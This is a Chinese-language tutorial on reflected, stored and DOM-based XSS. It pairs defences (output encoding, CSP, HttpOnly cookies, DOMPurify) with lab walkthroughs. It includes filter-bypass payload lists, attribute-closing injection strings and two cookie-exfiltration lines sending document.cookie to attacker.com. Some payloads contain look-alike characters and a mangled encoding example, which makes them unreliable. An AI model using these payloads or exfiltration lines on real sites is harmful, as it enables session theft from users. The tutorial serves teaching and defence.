**
核心概念回顾:
**
XSS漏洞一直被评估为web漏洞中危害较大的漏洞,在OWASP TOP10的排名中一直属于前三的江湖地位。
XSS是一种发生在前端浏览器端的漏洞,所以其危害的对象也是前端用户。
形成XSS漏洞的主要原因是程序对输入和输出没有做合适的处理,导致“精心构造”的字符输出在前端时被浏览器当作有效代码解析执行从而产生危害。
因此在XSS漏洞的防范上,一般会采用“对输入进行过滤”和“输出进行转义”的方式进行处理:
输入过滤:对输入进行过滤,不允许可能导致XSS攻击的字符输入;
输出转义:根据输出点的位置对输出到前端的内容进行适当转义;
xss分为以下几种类型:
1.反射性XSS;
2.存储型XSS;
3.DOM型XSS;
反射性XSS:
基本概念
- “反射”的含义: 攻击者构造的恶意脚本代码,作为HTTP请求的一部分(最常见的是URL参数)发送给服务器。服务器在处理这个请求时,没有对恶意代码进行过滤或转义,而是直接将其“反射”回HTTP响应中,嵌入到返回给用户的HTML页面里。
- 受害者触发: 恶意脚本不会存储在服务器上(如数据库)。攻击必须通过诱导受害者点击一个精心构造的恶意链接来触发。受害者点击链接 -> 浏览器发送包含恶意代码的请求 -> 服务器“反射”回恶意代码 -> 受害者的浏览器执行恶意代码。
- 一次性攻击: 攻击只对点击了该特定恶意链接的用户生效。攻击者需要为每个受害者生成或发送不同的恶意链接(虽然攻击载荷可能相同)
攻击流程
当攻击者将带有恶意脚本的URL发送给用户时,如果用户点击了这个URL,恶意脚本就会被发送到服务器,然后服务器会将这个脚本作为响应的一部分返回给用户的浏览器。浏览器在收到响应后会执行这段脚本,从而可能导致敏感信息如cookies被窃取。
这种攻击之所以被称为“反射型”,是因为恶意脚本是通过用户的浏览器“反射”回服务器,然后再由服务器“反射”回更多用户的浏览器来传播的。这种攻击方式通常是一次性的,因为恶意脚本不会存储在服务器上,而是通过URL参数直接传递给服务器。
流程图:
攻击详细步骤
- 1.发现漏洞: 攻击者找到一个存在反射型XSS漏洞的网页(例如搜索页面、错误信息页面、登录页面等)。这个页面的输出(通常是HTML内容)直接包含了用户输入的某个请求参数(如 ?searchTerm=...),且未做安全处理。
- 2.构造恶意链接:
1.攻击者将恶意的JavaScript代码嵌入到该请求参数中,形成一个超长的、看起来可疑的URL。例如:https://vulnerable-site.com/search?query=<script>alert('XSS!')</script>
2.为了更隐蔽,攻击者通常会使用URL编码来混淆恶意字符:https://vulnerable-site.com/search?query=%3Cscript%3Ealert%28%27XSS%21%27%29%3C%2Fscript%3E
- 3.诱导点击:攻击者通过各种社会工程学手段诱骗受害者点击这个恶意链接:
1.发送钓鱼邮件(伪装成重要通知、优惠信息、朋友分享);
2.在社交媒体、论坛、评论区发布带有诱人标题或图片的链接;
3.利用即时通讯工具发送;
4.将链接缩短(如 bit.ly, TinyURL)以隐藏其真实面目。
- 4.请求发送:受害者被诱骗点击链接,其浏览器向
vulnerable-site.com
发送一个HTTP GET请求,请求中包含恶意参数query=<script>alert('XSS!')</script>
(或URL编码后的版本)。 - 5.服务器处理与反射:服务器端的应用程序接收到请求,提取
query
参数的值(即恶意脚本)。服务器端代码没有对这个值进行任何过滤、验证或转义处理,而是直接将其拼接到即将返回给用户的HTML页面模板中。
例如,服务器端代码可能是这样的(Python伪代码):
search_term = request.GET['query'] # 直接获取未处理的输入
html_response = "<html><body><h1>Search Results for: " + search_term + "</h1>...</body></html>"
return html_response
- 6.响应返回与恶意代码注入: 服务器将构建好的HTML页面发送回受害者的浏览器。这个页面现在包含了原始的恶意脚本标签:
<html>
<body><h1>Search Results for: <script>alert('XSS!')</script></h1>...
</body>
</html>
- 7.浏览器解析与执行: 受害者的浏览器接收到这个HTML响应,开始解析。当解析到
<script>alert('XSS!')</script>
这段代码时,浏览器将其视为页面合法的一部分,并立即执行其中的JavaScript代码(在这个简单例子中,弹出一个警告框显示“XSS!”)。 - 8.恶意行为发生:在实际攻击中,alert('XSS!') 会被替换成真正的恶意代码。这段代码在受害者的浏览器上下文和目标网站(vulnerable-site.com)的域下执行,拥有该用户在该网站上的权限(会话Cookie等)。恶意行为开始,例如:
1.窃取用户的会话Cookie(document.cookie);
2.将Cookie发送到攻击者控制的服务器(new Image().src='https://attacker.com/steal?cookie=' + document.cookie);
3.伪造请求(如转账、修改密码、发布内容 - 需要CSRF保护失效或配合);
4.重定向用户到钓鱼网站;
5.记录键盘输入;
6.下载并执行恶意软件。
关键点
如何防御反射型XSS
针对反射型XSS,服务器端的防御至关重要:
- 1.漏洞根源: 服务器端对用户输入(特别是URL参数)的处理不当,未进行输出编码/转义,直接嵌入到HTML输出中;
- 2.传播方式: 依赖社会工程学诱导用户点击恶意链接;
- 3.执行环境: 恶意脚本在受害者浏览器中执行,目标网站是被利用的合法网站 (vulnerable-site.com)。
- 1.严格的输出编码/转义: 这是最根本、最有效的防御。在将任何用户可控数据(包括URL参数、表单数据、HTTP头)插入到HTML文档的任何位置(元素内容、属性值、JavaScript代码、CSS、URL)之前,必须根据其插入的上下文进行正确的转义。
(1)HTML内容:转义 <, >, &, ", ';
(2)HTML属性:转义属性值内的引号,并始终用引号包裹属性值;
(3)JavaScript:使用 \ 转义特殊字符,或使用 JSON.stringify();
(4)URL:进行URL编码 (encodeURIComponent);
(5)使用成熟的安全库/框架内置函数进行转义,切勿手动拼接。
- 2.输入验证:在接收用户输入时,进行白名单验证(只允许已知安全的字符和格式),过滤或拒绝包含明显恶意字符或结构的输入。但输入验证不能替代输出编码,因为合法的输入在特定上下文中也可能被利用。
- 3.内容安全策略 (CSP):配置
Content-Security-Policy
HTTP响应头。一个强化的CSP可以:
1.禁止内联脚本 (
'unsafe-inline'
),强制所有脚本必须来自外部可信的.js
文件;2.禁止
eval()
等动态执行 ('unsafe-eval'
);3.限制脚本、样式、图片等资源的加载来源;
4.即使存在XSS漏洞,也能极大限制攻击者执行有效载荷的能力
- HttpOnly Cookie:为敏感的会话Cookie设置
HttpOnly
标志。这样,即使发生XSS攻击,恶意脚本也无法通过document.cookie
直接读取该Cookie,增加窃取会话的难度(但攻击者仍能利用受害者的会话发起请求)。
用户如何自我保护
- 1.警惕不明链接: 对邮件、消息、社交媒体中来源不明的链接保持高度警惕,尤其是带有诱惑性或紧迫性内容的。
- 2.检查链接: 鼠标悬停在链接上(不要点击)查看浏览器状态栏显示的真实目标URL。注意域名是否拼写正确(如 examp1e.com vs example.com)。
- 3.使用安全软件: 保持浏览器和操作系统更新,使用具有反钓鱼功能的浏览器或安全软件。
- 4.谨慎输入凭证: 在通过链接跳转到的页面上输入用户名、密码、银行卡信息等敏感信息前,务必确认网址的正确性。
反射型xss的常用语法
- 1.普通语法: <script>alert(1)</script>
- 2.构造闭合语法: "><script>alert(1)</script>
- 3.当引号被转义时的语法: 1' οnclick='alert(2)' 再次点击输入框时就会出现弹窗
- 4.当3.的双引号不行时则考虑使用双引号:1 "onclick"=alert(2)
- 5.当</>被过滤时便不能用标签可以考虑使用出发事件: 1" οnmοuseοver="alert(1)"
- 6.当5.的双引号不行时则考虑使用单引号: 1' οnmοuseοver='alert(1)'
- 7.当上述几种都不行时可以考虑使用a标签:11"><a href="javascript:alert(1)">
- 8.大小写绕过:11"><a HREF="javascript:alert(1)"> "><sCript>alert(1)</scRipt><SCRIPT>alert(1)</SCRIPT>
- 9.双写绕过:"><SCRSCRIPTIPT>alert(/xss/)</SCRSCRIPTIPT>
- 10.Html编码绕过:
avaSCRIPT:alert(1)这里属于直接编码所所有的进行把所需要过滤的字段进行html编码就可以进行绕过,这里绕过的时比如href hrefSCRIPT SCRIPT
实际案例详解
用例1:反射型XSS(get)
方法1:修改前端内容长度,输入普通语法
1.进入到测试网址,获取输入框,定位到元素长度:
2.使用常用语法输入内容,发现有长度限制:
<script>alert(1)</script> --普通语法
3.修改长度限制后,然后再次输入内容,弹窗展示内容:
4.结果如下:
方法2:修改前端内容长度,输入闭合语法
1.修改长度内容,输入:
"><script>alert(1)</script> --构造闭合语法
2.结果如下:
方法3:将参与直接输入URL后面message中,输入的参数与URL中的message参数绑定
1.进入页面后,输入框输入内容,点击请求,获取到URL地址message参数:
2.将语法添加到message中,然后回车请求:
<script>alert(1)</script> --普通语法
3.结果如下:
用例2:反射型XSS(post)
方法1:获取前端输入框入参,然后前端直接输入弹框内容:
1.登录成功后,输入内容,发现前端有回显参数:
2.直接使用普通语法:
<script>alert("渗透测试post方法前端直接输入")</script> --普通语法
3.结果如下:
方法2:使用document.cookie直接攻击
1.登录成功后,输入内容,发现post提交与get提交的不同之处在于,post的message=消失了,这就是post提交中攻击载荷(payload)通常不会出现在URL中的特点。
2.我们尝试在输入栏中输入XSS代码并进行提交:
<script>alert(document.cookie)</script> --直接取cookie进行调用
3.结果如下,页面中显示了cookie、账号和密码,漏洞复现:
存储型XSS:
基本概念
存储型 XSS(Stored Cross-Site Scripting),又称持久化 XSS,是危害级别最高的 XSS 攻击类型。其核心特点是:
- 1.恶意脚本存储于服务器端:如数据库、文件系统等持久化存储介质。
- 2.自动触发攻击:用户访问页面时,服务器主动读取并渲染包含恶意脚本的内容,无需依赖用户点击特定链接。
攻击链示意图:
攻击者 ---------> 向服务器提交包含恶意脚本的内容(如评论、发帖)
↓
服务器 -------> 将恶意内容存储至数据库
↓
其他用户 -----> 访问页面时,服务器从数据库读取并返回包含恶意脚本的HTML
↓
用户浏览器 ----> 解析并执行恶意脚本(自动触发攻击)
攻击流程
攻击者通过 评论区、论坛等功能将 XSS代码上传,服务器接收并进行存储,XSS代码就成功植入了网页代码中,当其他用户对包含XSS代码的网页时,XSS代码就会被用户的浏览器进行解析并执行。
攻击详细步骤
攻击原理剖析
- 脚本植入阶段:
攻击者通过网站的信任输入点(如用户评论、商品描述、个人资料修改等)提交包含恶意脚本的内容。
- 持久化存储阶段:
服务器未对输入内容进行安全过滤,直接将恶意脚本存入数据库或文件系统。
- 自动触发阶段:
当其他用户访问包含恶意内容的页面(如文章详情页、留言板)时,服务器将恶意脚本随页面一同返回给浏览器,触发执行
存储型 XSS 的危害与攻击手法
核心危害:
- 1.大规模会话劫持:
利用document.cookie
窃取用户 Cookie,结合HttpOnly
绕过手段,可批量获取用户会话凭证。
<script>
new Image().src = "http://attacker.com/steal.php?cookie=" + document.cookie;
</script>
- 2.蠕虫式传播:
脚本自动在受害者的社交关系链中传播(如自动发布含恶意链接的微博、朋友圈),扩大攻击范围。
- 3.权限提升与后台控制:
若受害者为管理员,脚本可执行删除数据、添加恶意用户等高危操作。
- 4.长期潜伏攻击:
恶意内容长期存储在服务器,持续危害新访问用户,难以被及时发现。
高级攻击手法
- 1.DOM 型存储型 XSS 结合
原理:恶意脚本通过修改 DOM 结构触发二次渲染漏洞。
案例:
// 使用DOMPurify库实现白名单过滤
import DOMPurify from 'dompurify';const cleanContent = DOMPurify.sanitize('<h1>Hello</h1><a href="#" onclick="alert()">点击</a>', {ALLOWED_TAGS: ['h1', 'a'],ALLOWED_ATTR: ['href']
});
// 输出:<h1>Hello</h1><a href="#">点击</a>(onclick事件被过滤)
- 2.多阶段漏洞利用
步骤:
1.先通过存储型 XSS 窃取管理员 Cookie;
2.再利用 Cookie 模拟管理员身份,向全站用户推送恶意通知(如包含 XSS 的系统公告)
关键点
存储型 XSS 防御体系构建
1.输入验证:严格过滤恶意内容
- 1.白名单策略(推荐)
只允许特定的安全标签和属性,拒绝所有其他 HTML/JS 代码。
案例:允许加粗、链接等基础标签
// 使用DOMPurify库实现白名单过滤
import DOMPurify from 'dompurify';const cleanContent = DOMPurify.sanitize('<h1>Hello</h1><a href="#" onclick="alert()">点击</a>', {ALLOWED_TAGS: ['h1', 'a'],ALLOWED_ATTR: ['href']
});
// 输出:<h1>Hello</h1><a href="#">点击</a>(onclick事件被过滤)
2.黑名单补充(辅助手段)
过滤明确的恶意关键词(如<script>
、onerror
、javascript:
),但需配合编码防止绕过。
# Python示例:过滤危险关键词
def filter_xss(content):blacklist = ['<script>', '</script>', 'onerror', 'javascript:']for word in blacklist:content = content.replace(word, '')return content
2.输出编码:阻断脚本执行
根据内容输出位置,进行对应的编码处理(同反射性 XSS):
- HTML 内容:使用 HTML 实体编码(如
<
转为<
)。- JavaScript 变量:使用 JS 转义(如
"
转为\"
)。- URL 参数:使用 URL 编码(如
#
转为%23
)。
{# 自动转义,安全渲染 #}
<div class="comment">{{ post.content|escape }}</div>{# 显式标记可信内容(需谨慎使用) #}
<div class="trusted-content">{{ safe_content|safe }}</div>
3.内容安全策略(CSP):限制脚本来源
通过 HTTP 响应头Content-Security-Policy
(CSP)禁止执行 Inline 脚本,仅允许加载可信来源的 JS 文件。
强安全配置示例:
Content-Security-Policy: default-src 'none';script-src 'self' https://cdn.example.com;style-src 'self' 'unsafe-inline'; <!-- 如需使用内联样式,添加'unsafe-inline' -->img-src 'self' data:;font-src 'self';connect-src 'self';form-action 'self';frame-ancestors 'none';
4.存储层安全:分离内容与代码
- 富文本内容存储:
使用独立的富文本解析器(如 CKEditor、TinyMCE),其内置 XSS 过滤机制可将恶意脚本转为纯文本。- 敏感字段隔离:
避免在同一数据库字段中混合存储用户输入内容与业务逻辑代码。
5.监控与应急响应
- 1.实时日志审计:
监控数据库中是否存在异常字符(如连续<>符号、script关键词),及时发现植入的恶意内容。
- 2.漏洞扫描:
使用 AWVS、Nessus 等工具定期扫描全站,检测存储型 XSS 漏洞。
- 3.快速响应流程:
建立漏洞应急机制,一旦发现攻击,立即清理恶意内容、修补漏洞,并通知受影响用户修改密码。
实际案例详解:
用例1:存储型XSS
方法1:输入普通语法,多次保存到后台,调用后多次弹窗
1.进入页面地址,多次输入弹窗内容,调用接口保存数据
<script>alert("渗透测试post方法前端直接输入")</script> --普通语法
2.输入其他内容再次调用,会将之前所有保存数据弹窗显示前端页面
方法2:使用document.cookie直接攻击
1.进入页面地址,直接输入cookie进行调用:
<script>alert(document.cookie)</script> --直接获取cookie值进行调用
2.结果如下,cookie直接弹窗展示,漏洞复现:
存储型 vs 反射性 XSS 对比
维度 | 存储型 XSS | 反射性 XSS |
---|---|---|
脚本存储位置 | 服务器端(数据库 / 文件) | 客户端(URL / 表单参数) |
触发条件 | 自动触发(用户访问页面) | 依赖用户点击恶意链接 |
攻击持续性 | 长期有效(需手动清理) | 一次性(参数随请求消失) |
危害范围 | 影响所有访问者 | 仅影响单个用户 |
典型场景 | 留言板、论坛、电商评论 | 搜索框、登录页错误提示 |
DOM型XSS:
基本概念
DOM型XSS漏洞是一种基于文档对象模型(Document Object Model,简称DOM)的漏洞,它允许攻击者通过修改DOM元素的属性来注入并执行恶意脚本。
这种攻击方式不需要通过URL传递恶意代码,而是直接在用户的浏览器端执行。攻击者可能会利用JavaScript代码,通过改变页面的DOM结构,插入恶意脚本。由于这个过程是在客户端完成的,因此DOM型XSS攻击更加隐蔽,与传统的反射型XSS相比,它不依赖于服务器的响应,使得检测和防御更加困难。
简单来说:DOM型XSS漏洞地原理是利用前端代码漏洞
攻击步骤和原理
攻击步骤:
1.恶意输入注入:
攻击者通过输入框、URL 参数等渠道将包含恶意脚本的输入数据提交到 Web 应用程序。
2.客户端DOM解析:
用户访问包含恶意输入的页面时,浏览器会解析 HTML 并构建 DOM 树。
3.DOM修改:
恶意脚本通过 JavaScrip t等方式对 DOM 进行修改。
4.脚本执行:
由于恶意脚本被插入到 DOM 中,浏览器在解析和执行 DOM 时会执行这些脚本,导致攻击成功。
防范措施:
1.输入验证和过滤:
对用户输入进行验证,仅接受合法和预期的输入。
2.输出转义:
在将用户输入嵌入到 DOM 中之前,对其进行适当的输出编码,防止执行恶意脚本。
3.安全的DOM操作:
(1)避免使用容易受到攻击的 DOM 操作方法,如 innerHTML,而是使用更安全的 API。
(2)Content Security Policy(CSP):
使用 CSP 头来限制允许加载和执行的脚本资源,减少 XSS 攻击的风险。
实际案例详解:
用例1:DOM型XSS
方法1:直接使用cookie进行攻击
1.进入靶场XSS-DOM对应页面,输入任意内容,返回如下:
2.发现输入内容在<a>标签中的 href 处显示,想要进行XSS攻击,我们需要构造一段合适的payload,来将此处的 html 语句闭合并且执行我们自己的 javascript语句。输入内容,如下:
#' onclick="alert(document.cookie)"> --直接使用cookie进行攻击
3.点击'>what do you see?,弹窗显示cookie值,漏洞复现成功,如下:
方法2:使用JavaScript直接攻击
1.使用HTML 标签中执行 JavaScript 语法:
javascript:alert(/DOM 型 XSS 攻击成功/) --直接使用javascript调用
2.点点击超链接时根据 href 属性跳转执行了 JavaScript 代码,这是更改链接,结果如下:
方法3:使用JavaScript,闭合标签后模拟用户点击
1.闭合掉前面的标签,通过点击事件来让用户执行 JavaScript 代码,执行以下语法:
' onclick="alert(/DOM 型 XSS 攻击成功/)" --通过用户点击攻击
2.闭合了 href 属性,点击超链接,模拟用户点击,结果如下:
方法4:使用JavaScript,闭合标签后模拟用户操作浮动图片
1.闭合掉前面的标签,通过点击事件来让用户浮动图片至 JavaScript 代码,执行以下语法:
'><img src="#" onmouseover="alert(/DOM 型 XSS 攻击成功/)" --模拟用户浮动图片
2.闭合了 href 属性,点击浮动图片,模拟用户点击,结果如下:
用例2:DOM型XSS-x(方法类似用例1中)
方法1:直接获取cookie进行攻击
1.进入靶场XSS-x-DOM对应页面,现输入内容在<a>标签中的 href 处显示,想要进行XSS攻击,我们需要构造一段合适的payload,来将此处的 html 语句闭合并且执行我们自己的 javascript语句。输入内容,点击超链接,如下:
#' onclick="alert(document.cookie)"> --直接使用cookie进行攻击
2.结果如下,需再次点击链接,漏洞复现成功:
方法2:使用JavaScript直接攻击
1.使用HTML 标签中执行 JavaScript 语法:
javascript:alert(/DOM 型 XSS 攻击成功/) --直接使用javascript调用
2.点点击超链接时根据 href 属性跳转执行了 JavaScript 代码,这是更改链接,结果如下:
XSS-盲打
XSS盲打就是攻击者在进行XSS插入时不会在前端有回显,但是在后台可以看得到,当管理员进行后台登录时就会看到XSS的内容,因为能直接盗取管理员的COOKIE拿到权限,但又十分隐蔽,只能进行尝试不能确保一定存在,执行以下语法:。
<script>alert(css)</script> --常用语法调用
"><script>alert(1)</script> --闭合语法
1.输入常用语法,然后提交:
2.登录后台地址,弹窗后台存入得数据以及提交得数据:
3.输入闭合语法,然后提交:
4.登录后台地址,弹窗后台存入得数据以及提交得数据:
XSS-过滤
大小写混淆过滤,<scRipt>alert(14)</sCript>
使用注释进行干扰: <sc<!--test--> ript> alert(14)</scr <--test--> ipt>
重写: <scri<script> pt> alert(14)</scri</script> pt>
使用img标签<img src=xss οnerrοr="alert(11)">
1.常用弹窗语法,替换大写字母校验
<scriPt>alert(1)</scriPt> --大小字母替换跳过后端校验
2.执行结果:
3.使用图片爆破,利用图片跳过校验,然后弹窗:
<img src=1 onerror=alert(1)> -- 图片爆破
4.执行结果:
XSS反射型总结:
反射型XSS是一种利用服务器对用户输入(特别是URL参数)处理不当,将恶意脚本“反射”回受害者浏览器执行的安全漏洞。它高度依赖社会工程学诱导用户点击恶意链接。防御的核心在于服务器端对所有用户可控数据进行严格的上下文感知的输出编码/转义,并结合CSP、HttpOnly Cookie等防御措施进行纵深防御。用户则需要提高警惕,避免点击可疑链接。
XSS存储型总结:
存储型 XSS 因其持久性和自动传播性,成为 Web 应用的重大安全威胁。防御的核心在于:
输入输出双层防护:白名单过滤 + 全场景编码,确保恶意脚本无法被存储或执行。
最小权限原则:限制用户输入的功能范围(如普通用户禁止使用富文本 HTML)。
持续监控与响应:通过日志分析和漏洞扫描,实现 “发现 - 修复 - 验证” 闭环。
XSS-DOM型总结:
DOM型XSS是一种特殊的跨站脚本攻击,其特点是整个漏洞的触发过程完全发生在客户端(浏览器)的DOM环境中,不依赖服务器端对恶意脚本的“回显”或“存储”。攻击者通过构造恶意URL或诱导用户交互,使得页面的JavaScript代码在处理用户可控数据(如location.hash、location.search、document.referrer等)时,直接将其写入DOM(例如通过innerHTML、document.write、eval()等危险操作),从而导致恶意脚本执行。